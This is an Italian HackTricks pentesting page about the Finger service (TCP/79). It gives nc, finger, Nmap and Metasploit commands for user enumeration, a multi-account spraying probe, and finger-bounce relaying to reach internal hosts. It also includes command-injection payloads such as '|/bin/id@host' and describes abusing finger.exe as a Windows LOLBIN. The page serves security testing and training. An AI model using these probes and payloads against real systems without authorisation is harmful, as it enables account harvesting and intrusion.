79 - Pentesting Finger

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

Il programma/servizio Finger è utilizzato per ottenere informazioni sugli utenti di un computer. Tipicamente, le informazioni fornite includono il nome utente (login), il nome completo, e, in alcuni casi, dettagli aggiuntivi. Questi dettagli possono comprendere la sede dell’ufficio e il numero di telefono (se disponibili), l’orario in cui l’utente ha effettuato il login, il periodo di inattività (idle time), l’ultima volta che l’utente ha letto la posta, e il contenuto dei file .plan e .project dell’utente.

Dal punto di vista del pentesting, Finger è ancora interessante perché il protocollo è estremamente piccolo, leggibile dall’uomo, e spesso implementato con logiche di parsing legacy. Un daemon può divulgare:

  • utenti attualmente connessi
  • nomi completi / GECOS data
  • directory home, shell, ultimi orari di login, e TTYs
  • contenuti di .plan / .project
  • comportamento di relay per interrogare un secondo host tramite il primo

Porta predefinita: 79

PORT   STATE SERVICE
79/tcp open  finger

Enumeration

nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79         # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79  # Long format, if the daemon supports it

Il protocollo è ASCII over TCP/79, normalmente terminato con CRLF, e server closes the TCP connection dopo la risposta. In pratica una null query (\r\n) è spesso sufficiente per ottenere la lista degli utenti correnti, ed è anche ciò che fa lo script NSE predefinito finger di Nmap.

User enumeration

finger @<Victim>       #List users
finger admin@<Victim>  #Get info of user
finger user@<Victim>   #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients

In alternativa puoi usare finger-user-enum da pentestmonkey, alcuni esempi:

finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

La sfumatura importante con Finger enumeration è che non esiste nessun formato di risposta rigido attraverso i daemon. Strumenti come finger-user-enum funzionano bene contro servizi in stile Solaris perché utenti validi e non validi producono layout di testo differenti, ma potrebbe essere necessario confrontare manualmente le risposte positive e negative e adattare le regexes se il daemon target è insolito.

Probe utili quando il daemon non si comporta come lo stock Solaris/BSD:

# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79

# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79

# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79

Nmap esegue uno script utilizzando i default scripts

nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>

Nmap’s finger NSE script è sicuro e semplicemente invia una null query per recuperare l’elenco utenti corrente. Se vuoi un più ampio username guessing contro daemon permissivi, considera di estendere l’approccio con wordlists personalizzate o usare progetti come fat-finger.nse, che inviano più nomi account probabili in una sola richiesta e cercano corrispondenze username/GECOS.

Metasploit usa più trucchi di Nmap

use auxiliary/scanner/finger/finger_users

Shodan

  • port:79 USER

Command execution

finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"

RFC 1288 permette esplicitamente alle implementazioni di eseguire un programma controllato dall’utente in risposta a una query Finger, ed è da qui che nasce il classico abuso |/bin/.... Oggi è raro, ma se trovi un daemon custom o legacy, testa attentamente per:

  • metacaratteri della shell nella gestione degli username
  • esecuzione di |program in hook di plan/project
  • wrapper backend che passano lo username a uno script shell o a un CGI

Ricorda anche la via di abuso client-side su Windows: finger.exe è un LOLBIN firmato che può recuperare testo arbitrario da un server Finger remoto su TCP/79, e quindi inoltrare quell’output a un altro processo. Questa tecnica è più rilevante per il post-exploitation che per l’enumerazione dei servizi, quindi vedi the Linux reverse-shell page per l’idea del trasporto shell e tienila presente quando emuli le tecniche dell’attaccante.

Finger Bounce

Use a system as a finger relay

finger user@host@victim
finger @internal@external

Questo non è solo un quirk di implementazione: RFC 1288 definisce l’inoltro ricorsivo @hostname ({Q2} queries). Se il daemon supporta relaying, il server intermedio apre la seconda connessione Finger per te e restituisce la risposta sul socket originale. Ciò significa:

  • il tuo host potrebbe non connettersi direttamente al target finale
  • il relay può essere usato per enumerare utenti interni da un servizio Finger esposto
  • finger-user-enum supporta questo nativamente con -r <relay>

Esempio:

# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79

# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

Se relaying funziona, usalo come internal recon primitive e confronta l’output relayed con l’output diretto del public daemon. Differenze nella formattazione o nel filtering spesso rivelano se il relay path è gestito da un backend o wrapper separato.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks